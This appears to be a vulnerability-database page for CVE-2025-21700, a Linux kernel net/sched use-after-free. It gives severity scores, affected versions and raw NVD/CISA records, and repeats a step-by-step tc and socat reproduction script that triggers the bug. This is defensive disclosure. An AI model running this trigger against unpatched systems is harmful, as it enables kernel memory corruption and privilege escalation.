CVE-2025-21700 (GCVE-0-2025-21700)

Vulnerability from cvelistv5 – Published: 2025-02-13 11:30 – Updated: 2026-05-11 21:04
VLAI
Title
net: sched: Disallow replacing of child qdisc from one parent to another
Summary
In the Linux kernel, the following vulnerability has been resolved: net: sched: Disallow replacing of child qdisc from one parent to another Lion Ackermann was able to create a UAF which can be abused for privilege escalation with the following script Step 1. create root qdisc tc qdisc add dev lo root handle 1:0 drr step2. a class for packet aggregation do demonstrate uaf tc class add dev lo classid 1:1 drr step3. a class for nesting tc class add dev lo classid 1:2 drr step4. a class to graft qdisc to tc class add dev lo classid 1:3 drr step5. tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024 step6. tc qdisc add dev lo parent 1:2 handle 3:0 drr step7. tc class add dev lo classid 3:1 drr step 8. tc qdisc add dev lo parent 3:1 handle 4:0 pfifo step 9. Display the class/qdisc layout tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 limit 1000p qdisc drr 3: dev lo parent 1:2 step10. trigger the bug <=== prevented by this patch tc qdisc replace dev lo parent 1:3 handle 4:0 step 11. Redisplay again the qdiscs/classes tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 1:3 root leaf 4: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p qdisc drr 3: dev lo parent 1:2 Observe that a) parent for 4:0 does not change despite the replace request. There can only be one parent. b) refcount has gone up by two for 4:0 and c) both class 1:3 and 3:1 are pointing to it. Step 12. send one packet to plug echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001)) step13. send one packet to the grafted fifo echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003)) step14. lets trigger the uaf tc class delete dev lo classid 1:3 tc class delete dev lo classid 1:1 The semantics of "replace" is for a del/add _on the same node_ and not a delete from one node(3:1) and add to another node (1:3) as in step10. While we could "fix" with a more complex approach there could be consequences to expectations so the patch takes the preventive approach of "disallow such config". Joint work with Lion Ackermann <nnamrec@gmail.com>
Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
SSVC
Exploitation: none Automatable: no Technical Impact: total
CISA Coordinator (v2.0.3)
CWE
Assigner
References
Impacted products
Vendor Product Version
Linux Linux Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < cd796e269123e1994bfc4e99dd76680ba0946a97 (git)
Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < fe18c21d67dc7d1bcce1bba56515b1b0306db19b (git)
Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 38646749d6e12f9d80a08d21ca39f0beca20230d (git)
Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < deda09c0543a66fa51554abc5ffd723d99b191bf (git)
Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 7e2bd8c13b07e29a247c023c7444df23f9a79fd8 (git)
Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 73c7e1d6898ccbeee126194dcc05f58b8a795e70 (git)
Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 46c59ec33ec98aba20c15117630cae43a01404cc (git)
Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < bc50835e83f60f56e9bec2b392fb5544f250fb6f (git)
Create a notification for this product.
Linux Linux Affected: 2.6.12
Unaffected: 0 , < 2.6.12 (semver)
Unaffected: 5.4.291 , ≤ 5.4.* (semver)
Unaffected: 5.10.235 , ≤ 5.10.* (semver)
Unaffected: 5.15.179 , ≤ 5.15.* (semver)
Unaffected: 6.1.129 , ≤ 6.1.* (semver)
Unaffected: 6.6.76 , ≤ 6.6.* (semver)
Unaffected: 6.12.13 , ≤ 6.12.* (semver)
Unaffected: 6.13.2 , ≤ 6.13.* (semver)
Unaffected: 6.14 , ≤ * (original_commit_for_fix)
Create a notification for this product.
Show details on NVD website
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          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: sched: Disallow replacing of child qdisc from one parent to another\n\nLion Ackermann was able to create a UAF which can be abused for privilege\nescalation with the following script\n\nStep 1. create root qdisc\ntc qdisc add dev lo root handle 1:0 drr\n\nstep2. a class for packet aggregation do demonstrate uaf\ntc class add dev lo classid 1:1 drr\n\nstep3. a class for nesting\ntc class add dev lo classid 1:2 drr\n\nstep4. a class to graft qdisc to\ntc class add dev lo classid 1:3 drr\n\nstep5.\ntc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024\n\nstep6.\ntc qdisc add dev lo parent 1:2 handle 3:0 drr\n\nstep7.\ntc class add dev lo classid 3:1 drr\n\nstep 8.\ntc qdisc add dev lo parent 3:1 handle 4:0 pfifo\n\nstep 9. Display the class/qdisc layout\n\ntc class ls dev lo\n class drr 1:1 root leaf 2: quantum 64Kb\n class drr 1:2 root leaf 3: quantum 64Kb\n class drr 3:1 root leaf 4: quantum 64Kb\n\ntc qdisc ls\n qdisc drr 1: dev lo root refcnt 2\n qdisc plug 2: dev lo parent 1:1\n qdisc pfifo 4: dev lo parent 3:1 limit 1000p\n qdisc drr 3: dev lo parent 1:2\n\nstep10. trigger the bug \u003c=== prevented by this patch\ntc qdisc replace dev lo parent 1:3 handle 4:0\n\nstep 11. Redisplay again the qdiscs/classes\n\ntc class ls dev lo\n class drr 1:1 root leaf 2: quantum 64Kb\n class drr 1:2 root leaf 3: quantum 64Kb\n class drr 1:3 root leaf 4: quantum 64Kb\n class drr 3:1 root leaf 4: quantum 64Kb\n\ntc qdisc ls\n qdisc drr 1: dev lo root refcnt 2\n qdisc plug 2: dev lo parent 1:1\n qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p\n qdisc drr 3: dev lo parent 1:2\n\nObserve that a) parent for 4:0 does not change despite the replace request.\nThere can only be one parent.  b) refcount has gone up by two for 4:0 and\nc) both class 1:3 and 3:1 are pointing to it.\n\nStep 12.  send one packet to plug\necho \"\" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001))\nstep13.  send one packet to the grafted fifo\necho \"\" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003))\n\nstep14. lets trigger the uaf\ntc class delete dev lo classid 1:3\ntc class delete dev lo classid 1:1\n\nThe semantics of \"replace\" is for a del/add _on the same node_ and not\na delete from one node(3:1) and add to another node (1:3) as in step10.\nWhile we could \"fix\" with a more complex approach there could be\nconsequences to expectations so the patch takes the preventive approach of\n\"disallow such config\".\n\nJoint work with Lion Ackermann \u003cnnamrec@gmail.com\u003e"
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      "title": "net: sched: Disallow replacing of child qdisc from one parent to another",
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    "cveId": "CVE-2025-21700",
    "datePublished": "2025-02-13T11:30:19.003Z",
    "dateReserved": "2024-12-29T08:45:45.748Z",
    "dateUpdated": "2026-05-11T21:04:42.969Z",
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    "nvd": "{\"cve\":{\"id\":\"CVE-2025-21700\",\"sourceIdentifier\":\"416baaa9-dc9f-4396-8d5f-8c081fb06d67\",\"published\":\"2025-02-13T12:15:27.837\",\"lastModified\":\"2025-11-03T20:17:09.340\",\"vulnStatus\":\"Modified\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"In the Linux kernel, the following vulnerability has been resolved:\\n\\nnet: sched: Disallow replacing of child qdisc from one parent to another\\n\\nLion Ackermann was able to create a UAF which can be abused for privilege\\nescalation with the following script\\n\\nStep 1. create root qdisc\\ntc qdisc add dev lo root handle 1:0 drr\\n\\nstep2. a class for packet aggregation do demonstrate uaf\\ntc class add dev lo classid 1:1 drr\\n\\nstep3. a class for nesting\\ntc class add dev lo classid 1:2 drr\\n\\nstep4. a class to graft qdisc to\\ntc class add dev lo classid 1:3 drr\\n\\nstep5.\\ntc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024\\n\\nstep6.\\ntc qdisc add dev lo parent 1:2 handle 3:0 drr\\n\\nstep7.\\ntc class add dev lo classid 3:1 drr\\n\\nstep 8.\\ntc qdisc add dev lo parent 3:1 handle 4:0 pfifo\\n\\nstep 9. Display the class/qdisc layout\\n\\ntc class ls dev lo\\n class drr 1:1 root leaf 2: quantum 64Kb\\n class drr 1:2 root leaf 3: quantum 64Kb\\n class drr 3:1 root leaf 4: quantum 64Kb\\n\\ntc qdisc ls\\n qdisc drr 1: dev lo root refcnt 2\\n qdisc plug 2: dev lo parent 1:1\\n qdisc pfifo 4: dev lo parent 3:1 limit 1000p\\n qdisc drr 3: dev lo parent 1:2\\n\\nstep10. trigger the bug \u003c=== prevented by this patch\\ntc qdisc replace dev lo parent 1:3 handle 4:0\\n\\nstep 11. Redisplay again the qdiscs/classes\\n\\ntc class ls dev lo\\n class drr 1:1 root leaf 2: quantum 64Kb\\n class drr 1:2 root leaf 3: quantum 64Kb\\n class drr 1:3 root leaf 4: quantum 64Kb\\n class drr 3:1 root leaf 4: quantum 64Kb\\n\\ntc qdisc ls\\n qdisc drr 1: dev lo root refcnt 2\\n qdisc plug 2: dev lo parent 1:1\\n qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p\\n qdisc drr 3: dev lo parent 1:2\\n\\nObserve that a) parent for 4:0 does not change despite the replace request.\\nThere can only be one parent.  b) refcount has gone up by two for 4:0 and\\nc) both class 1:3 and 3:1 are pointing to it.\\n\\nStep 12.  send one packet to plug\\necho \\\"\\\" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001))\\nstep13.  send one packet to the grafted fifo\\necho \\\"\\\" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003))\\n\\nstep14. lets trigger the uaf\\ntc class delete dev lo classid 1:3\\ntc class delete dev lo classid 1:1\\n\\nThe semantics of \\\"replace\\\" is for a del/add _on the same node_ and not\\na delete from one node(3:1) and add to another node (1:3) as in step10.\\nWhile we could \\\"fix\\\" with a more complex approach there could be\\nconsequences to expectations so the patch takes the preventive approach of\\n\\\"disallow such config\\\".\\n\\nJoint work with Lion Ackermann \u003cnnamrec@gmail.com\u003e\"},{\"lang\":\"es\",\"value\":\"En el kernel de Linux, se ha resuelto la siguiente vulnerabilidad: net: sched: No permitir el reemplazo de una qdisc secundaria de una primaria a otra Lion Ackermann pudo crear una UAF que se puede usar de forma abusiva para la escalada de privilegios con el siguiente script  Step 1. create root qdisc tc qdisc add dev lo root handle 1:0 drr step2. a class for packet aggregation do demonstrate uaf tc class add dev lo classid 1:1 drr step3. a class for nesting tc class add dev lo classid 1:2 drr step4. a class to graft qdisc to tc class add dev lo classid 1:3 drr step5. tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024 step6. tc qdisc add dev lo parent 1:2 handle 3:0 drr step7. tc class add dev lo classid 3:1 drr step 8. tc qdisc add dev lo parent 3:1 handle 4:0 pfifo step 9. Display the class/qdisc layout tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 limit 1000p qdisc drr 3: dev lo parent 1:2 step10. trigger the bug \u0026lt;=== prevented by this patch tc qdisc replace dev lo parent 1:3 handle 4:0 step 11. Redisplay again the qdiscs/classes tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 1:3 root leaf 4: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p qdisc drr 3: dev lo parent 1:2 Observe that a) parent for 4:0 does not change despite the replace request. There can only be one parent. b) refcount has gone up by two for 4:0 and c) both class 1:3 and 3:1 are pointing to it. Step 12. send one packet to plug echo \\\"\\\" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001)) step13. send one packet to the grafted fifo echo \\\"\\\" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003)) step14. La sem\u00e1ntica de \\\"reemplazar\\\" es para una eliminaci\u00f3n/adici\u00f3n _en el mismo nodo_ y no para una eliminaci\u00f3n de un nodo (3:1) y una adici\u00f3n a otro nodo (1:3) como en el paso 10. Si bien podr\u00edamos \\\"arreglarlo\\\" con un enfoque m\u00e1s complejo, podr\u00eda haber consecuencias para las expectativas, por lo que el parche adopta el enfoque preventivo de \\\"no permitir dicha configuraci\u00f3n\\\". Trabajo conjunto con Lion Ackermann \"}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\",\"baseScore\":7.8,\"baseSeverity\":\"HIGH\",\"attackVector\":\"LOCAL\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"LOW\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"HIGH\",\"integrityImpact\":\"HIGH\",\"availabilityImpact\":\"HIGH\"},\"exploitabilityScore\":1.8,\"impactScore\":5.9}]},\"weaknesses\":[{\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-416\"}]}],\"configurations\":[{\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\",\"versionStartIncluding\":\"2.6.12\",\"versionEndExcluding\":\"5.4.291\",\"matchCriteriaId\":\"C59EC1BB-CF72-482A-9A98-69C4C23A20B6\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\",\"versionStartIncluding\":\"5.5\",\"versionEndExcluding\":\"5.10.235\",\"matchCriteriaId\":\"545121FA-DE31-4154-9446-C2000FB4104D\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\",\"versionStartIncluding\":\"5.11\",\"versionEndExcluding\":\"5.15.179\",\"matchCriteriaId\":\"C708062C-4E1B-465F-AE6D-C09C46400875\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\",\"versionStartIncluding\":\"5.16\",\"versionEndExcluding\":\"6.1.129\",\"matchCriteriaId\":\"2DA5009C-C9B9-4A1D-9B96-78427E8F232C\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\",\"versionStartIncluding\":\"6.2\",\"versionEndExcluding\":\"6.6.76\",\"matchCriteriaId\":\"A6D70701-9CB6-4222-A957-00A419878993\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\",\"versionStartIncluding\":\"6.7\",\"versionEndExcluding\":\"6.12.13\",\"matchCriteriaId\":\"2897389C-A8C3-4D69-90F2-E701B3D66373\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\",\"versionStartIncluding\":\"6.13\",\"versionEndExcluding\":\"6.13.2\",\"matchCriteriaId\":\"6D4116B1-1BFD-4F23-BA84-169CC05FC5A3\"}]}]}],\"references\":[{\"url\":\"https://git.kernel.org/stable/c/38646749d6e12f9d80a08d21ca39f0beca20230d\",\"source\":\"416baaa9-dc9f-4396-8d5f-8c081fb06d67\",\"tags\":[\"Patch\"]},{\"url\":\"https://git.kernel.org/stable/c/46c59ec33ec98aba20c15117630cae43a01404cc\",\"source\":\"416baaa9-dc9f-4396-8d5f-8c081fb06d67\",\"tags\":[\"Patch\"]},{\"url\":\"https://git.kernel.org/stable/c/73c7e1d6898ccbeee126194dcc05f58b8a795e70\",\"source\":\"416baaa9-dc9f-4396-8d5f-8c081fb06d67\",\"tags\":[\"Patch\"]},{\"url\":\"https://git.kernel.org/stable/c/7e2bd8c13b07e29a247c023c7444df23f9a79fd8\",\"source\":\"416baaa9-dc9f-4396-8d5f-8c081fb06d67\",\"tags\":[\"Patch\"]},{\"url\":\"https://git.kernel.org/stable/c/bc50835e83f60f56e9bec2b392fb5544f250fb6f\",\"source\":\"416baaa9-dc9f-4396-8d5f-8c081fb06d67\",\"tags\":[\"Patch\"]},{\"url\":\"https://git.kernel.org/stable/c/cd796e269123e1994bfc4e99dd76680ba0946a97\",\"source\":\"416baaa9-dc9f-4396-8d5f-8c081fb06d67\",\"tags\":[\"Patch\"]},{\"url\":\"https://git.kernel.org/stable/c/deda09c0543a66fa51554abc5ffd723d99b191bf\",\"source\":\"416baaa9-dc9f-4396-8d5f-8c081fb06d67\",\"tags\":[\"Patch\"]},{\"url\":\"https://git.kernel.org/stable/c/fe18c21d67dc7d1bcce1bba56515b1b0306db19b\",\"source\":\"416baaa9-dc9f-4396-8d5f-8c081fb06d67\",\"tags\":[\"Patch\"]},{\"url\":\"https://lists.debian.org/debian-lts-announce/2025/03/msg00028.html\",\"source\":\"af854a3a-2127-422b-91ae-364da2661108\"},{\"url\":\"https://lists.debian.org/debian-lts-announce/2025/05/msg00030.html\",\"source\":\"af854a3a-2127-422b-91ae-364da2661108\"}]}}",
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CVE Program Container\", \"references\": [{\"url\": \"https://lists.debian.org/debian-lts-announce/2025/05/msg00030.html\"}, {\"url\": \"https://lists.debian.org/debian-lts-announce/2025/03/msg00028.html\"}], \"providerMetadata\": {\"orgId\": \"af854a3a-2127-422b-91ae-364da2661108\", \"shortName\": \"CVE\", \"dateUpdated\": \"2025-11-03T19:35:46.524Z\"}}, {\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"cvssV3_1\": {\"scope\": \"UNCHANGED\", \"version\": \"3.1\", \"baseScore\": 7.8, \"attackVector\": \"LOCAL\", \"baseSeverity\": \"HIGH\", \"vectorString\": \"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\", \"integrityImpact\": \"HIGH\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"HIGH\", \"privilegesRequired\": \"LOW\", \"confidentialityImpact\": \"HIGH\"}}, {\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2025-21700\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"none\"}, {\"Automatable\": \"no\"}, {\"Technical Impact\": \"total\"}], \"version\": \"2.0.3\", \"timestamp\": \"2025-02-13T13:51:43.457867Z\"}}}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-416\", \"description\": \"CWE-416 Use After Free\"}]}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2025-02-13T13:51:50.649Z\"}}], \"cna\": {\"title\": \"net: sched: Disallow replacing of child qdisc from one parent to another\", \"metrics\": [{\"cvssV3_1\": {\"version\": \"3.1\", \"baseScore\": 7.8, \"baseSeverity\": \"HIGH\", \"vectorString\": \"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\"}}], \"affected\": [{\"repo\": \"https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git\", \"vendor\": \"Linux\", \"product\": \"Linux\", \"versions\": [{\"status\": \"affected\", \"version\": \"1da177e4c3f41524e886b7f1b8a0c1fc7321cac2\", \"lessThan\": \"cd796e269123e1994bfc4e99dd76680ba0946a97\", \"versionType\": \"git\"}, {\"status\": \"affected\", \"version\": \"1da177e4c3f41524e886b7f1b8a0c1fc7321cac2\", \"lessThan\": \"fe18c21d67dc7d1bcce1bba56515b1b0306db19b\", \"versionType\": \"git\"}, {\"status\": \"affected\", \"version\": \"1da177e4c3f41524e886b7f1b8a0c1fc7321cac2\", \"lessThan\": \"38646749d6e12f9d80a08d21ca39f0beca20230d\", \"versionType\": \"git\"}, {\"status\": \"affected\", \"version\": \"1da177e4c3f41524e886b7f1b8a0c1fc7321cac2\", \"lessThan\": \"deda09c0543a66fa51554abc5ffd723d99b191bf\", \"versionType\": \"git\"}, {\"status\": \"affected\", \"version\": \"1da177e4c3f41524e886b7f1b8a0c1fc7321cac2\", \"lessThan\": \"7e2bd8c13b07e29a247c023c7444df23f9a79fd8\", \"versionType\": \"git\"}, {\"status\": \"affected\", \"version\": \"1da177e4c3f41524e886b7f1b8a0c1fc7321cac2\", \"lessThan\": \"73c7e1d6898ccbeee126194dcc05f58b8a795e70\", \"versionType\": \"git\"}, {\"status\": \"affected\", \"version\": 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\"semver\", \"lessThanOrEqual\": \"5.15.*\"}, {\"status\": \"unaffected\", \"version\": \"6.1.129\", \"versionType\": \"semver\", \"lessThanOrEqual\": \"6.1.*\"}, {\"status\": \"unaffected\", \"version\": \"6.6.76\", \"versionType\": \"semver\", \"lessThanOrEqual\": \"6.6.*\"}, {\"status\": \"unaffected\", \"version\": \"6.12.13\", \"versionType\": \"semver\", \"lessThanOrEqual\": \"6.12.*\"}, {\"status\": \"unaffected\", \"version\": \"6.13.2\", \"versionType\": \"semver\", \"lessThanOrEqual\": \"6.13.*\"}, {\"status\": \"unaffected\", \"version\": \"6.14\", \"versionType\": \"original_commit_for_fix\", \"lessThanOrEqual\": \"*\"}], \"programFiles\": [\"net/sched/sch_api.c\"], \"defaultStatus\": \"affected\"}], \"references\": [{\"url\": \"https://git.kernel.org/stable/c/cd796e269123e1994bfc4e99dd76680ba0946a97\"}, {\"url\": \"https://git.kernel.org/stable/c/fe18c21d67dc7d1bcce1bba56515b1b0306db19b\"}, {\"url\": \"https://git.kernel.org/stable/c/38646749d6e12f9d80a08d21ca39f0beca20230d\"}, {\"url\": \"https://git.kernel.org/stable/c/deda09c0543a66fa51554abc5ffd723d99b191bf\"}, {\"url\": \"https://git.kernel.org/stable/c/7e2bd8c13b07e29a247c023c7444df23f9a79fd8\"}, {\"url\": \"https://git.kernel.org/stable/c/73c7e1d6898ccbeee126194dcc05f58b8a795e70\"}, {\"url\": \"https://git.kernel.org/stable/c/46c59ec33ec98aba20c15117630cae43a01404cc\"}, {\"url\": \"https://git.kernel.org/stable/c/bc50835e83f60f56e9bec2b392fb5544f250fb6f\"}], \"x_generator\": {\"engine\": \"bippy-1.2.0\"}, \"descriptions\": [{\"lang\": \"en\", \"value\": \"In the Linux kernel, the following vulnerability has been resolved:\\n\\nnet: sched: Disallow replacing of child qdisc from one parent to another\\n\\nLion Ackermann was able to create a UAF which can be abused for privilege\\nescalation with the following script\\n\\nStep 1. create root qdisc\\ntc qdisc add dev lo root handle 1:0 drr\\n\\nstep2. a class for packet aggregation do demonstrate uaf\\ntc class add dev lo classid 1:1 drr\\n\\nstep3. a class for nesting\\ntc class add dev lo classid 1:2 drr\\n\\nstep4. a class to graft qdisc to\\ntc class add dev lo classid 1:3 drr\\n\\nstep5.\\ntc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024\\n\\nstep6.\\ntc qdisc add dev lo parent 1:2 handle 3:0 drr\\n\\nstep7.\\ntc class add dev lo classid 3:1 drr\\n\\nstep 8.\\ntc qdisc add dev lo parent 3:1 handle 4:0 pfifo\\n\\nstep 9. Display the class/qdisc layout\\n\\ntc class ls dev lo\\n class drr 1:1 root leaf 2: quantum 64Kb\\n class drr 1:2 root leaf 3: quantum 64Kb\\n class drr 3:1 root leaf 4: quantum 64Kb\\n\\ntc qdisc ls\\n qdisc drr 1: dev lo root refcnt 2\\n qdisc plug 2: dev lo parent 1:1\\n qdisc pfifo 4: dev lo parent 3:1 limit 1000p\\n qdisc drr 3: dev lo parent 1:2\\n\\nstep10. trigger the bug \u003c=== prevented by this patch\\ntc qdisc replace dev lo parent 1:3 handle 4:0\\n\\nstep 11. Redisplay again the qdiscs/classes\\n\\ntc class ls dev lo\\n class drr 1:1 root leaf 2: quantum 64Kb\\n class drr 1:2 root leaf 3: quantum 64Kb\\n class drr 1:3 root leaf 4: quantum 64Kb\\n class drr 3:1 root leaf 4: quantum 64Kb\\n\\ntc qdisc ls\\n qdisc drr 1: dev lo root refcnt 2\\n qdisc plug 2: dev lo parent 1:1\\n qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p\\n qdisc drr 3: dev lo parent 1:2\\n\\nObserve that a) parent for 4:0 does not change despite the replace request.\\nThere can only be one parent.  b) refcount has gone up by two for 4:0 and\\nc) both class 1:3 and 3:1 are pointing to it.\\n\\nStep 12.  send one packet to plug\\necho \\\"\\\" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001))\\nstep13.  send one packet to the grafted fifo\\necho \\\"\\\" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003))\\n\\nstep14. lets trigger the uaf\\ntc class delete dev lo classid 1:3\\ntc class delete dev lo classid 1:1\\n\\nThe semantics of \\\"replace\\\" is for a del/add _on the same node_ and not\\na delete from one node(3:1) and add to another node (1:3) as in step10.\\nWhile we could \\\"fix\\\" with a more complex approach there could be\\nconsequences to expectations so the patch takes the preventive approach of\\n\\\"disallow such config\\\".\\n\\nJoint work with Lion Ackermann \u003cnnamrec@gmail.com\u003e\"}], \"cpeApplicability\": [{\"nodes\": [{\"negate\": false, \"cpeMatch\": [{\"criteria\": \"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\", \"vulnerable\": true, \"versionEndExcluding\": \"5.4.291\", \"versionStartIncluding\": \"2.6.12\"}, {\"criteria\": \"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\", \"vulnerable\": true, \"versionEndExcluding\": \"5.10.235\", \"versionStartIncluding\": \"2.6.12\"}, {\"criteria\": \"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\", \"vulnerable\": true, \"versionEndExcluding\": \"5.15.179\", \"versionStartIncluding\": \"2.6.12\"}, {\"criteria\": \"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\", \"vulnerable\": true, \"versionEndExcluding\": \"6.1.129\", \"versionStartIncluding\": \"2.6.12\"}, {\"criteria\": \"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\", \"vulnerable\": true, \"versionEndExcluding\": \"6.6.76\", \"versionStartIncluding\": \"2.6.12\"}, {\"criteria\": \"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\", \"vulnerable\": true, \"versionEndExcluding\": \"6.12.13\", \"versionStartIncluding\": \"2.6.12\"}, {\"criteria\": \"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\", \"vulnerable\": true, \"versionEndExcluding\": \"6.13.2\", \"versionStartIncluding\": \"2.6.12\"}, {\"criteria\": \"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*\", \"vulnerable\": true, \"versionEndExcluding\": \"6.14\", \"versionStartIncluding\": \"2.6.12\"}], \"operator\": \"OR\"}]}], \"providerMetadata\": {\"orgId\": \"416baaa9-dc9f-4396-8d5f-8c081fb06d67\", \"shortName\": \"Linux\", \"dateUpdated\": \"2026-04-02T08:39:22.831Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2025-21700\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-04-02T08:39:22.831Z\", \"dateReserved\": \"2024-12-29T08:45:45.748Z\", \"assignerOrgId\": \"416baaa9-dc9f-4396-8d5f-8c081fb06d67\", \"datePublished\": \"2025-02-13T11:30:19.003Z\", \"assignerShortName\": \"Linux\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}


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Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Detection rules are retrieved from Rulezet.